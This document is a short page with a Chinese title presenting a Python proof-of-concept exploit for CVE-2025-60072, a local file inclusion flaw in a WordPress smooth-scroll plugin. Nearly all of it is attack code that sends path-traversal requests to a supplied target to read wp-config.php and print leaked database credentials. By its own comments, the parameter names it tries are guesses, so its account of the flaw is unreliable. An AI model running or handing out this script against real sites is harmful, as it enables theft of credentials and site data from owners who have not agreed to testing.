CVE-2025-60072 WordPress Anchor smooth scroll插件本地文件包含漏洞

# CVE-2025-60072 PoC - Local File Inclusion in Anchor Smooth Scroll Plugin # Target: WordPress site with Anchor smooth scroll plugin <= 1.0.2 import requests import sys from urllib.parse import quote def exploit_lfi(target_url, filename='../../../../wp-config.php'): """ Exploit Local File Inclusion vulnerability Args: target_url: Base URL of the vulnerable WordPress site filename: Path to file to read (path traversal) """ # Encode the path traversal payload encoded_filename = quote(filename) # Try common parameter names used by anchor smooth scroll params_to_try = [ f'?anchor={encoded_filename}', f'?page_id={encoded_filename}', f'?scroll={encoded_filename}', ] for param in params_to_try: try: url = target_url.rstrip('/') + param response = requests.get(url, timeout=10) # Check if file content was returned if 'DB_NAME' in response.text or '<?php' in response.text: print(f'[+] Success! File content found at: {url}') print(f'[+] Content preview:\n{response.text[:500]}...') return True elif response.status_code == 200 and len(response.text) > 0: print(f'[*] Possible leak at: {url}') except requests.RequestException as e: print(f'[-] Error: {e}') return False # Example usage if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2025_60072_poc.py <target_url>') print('Example: python cve_2025_60072_poc.py http://vulnerable-site.com') sys.exit(1) target = sys.argv[1] exploit_lfi(target)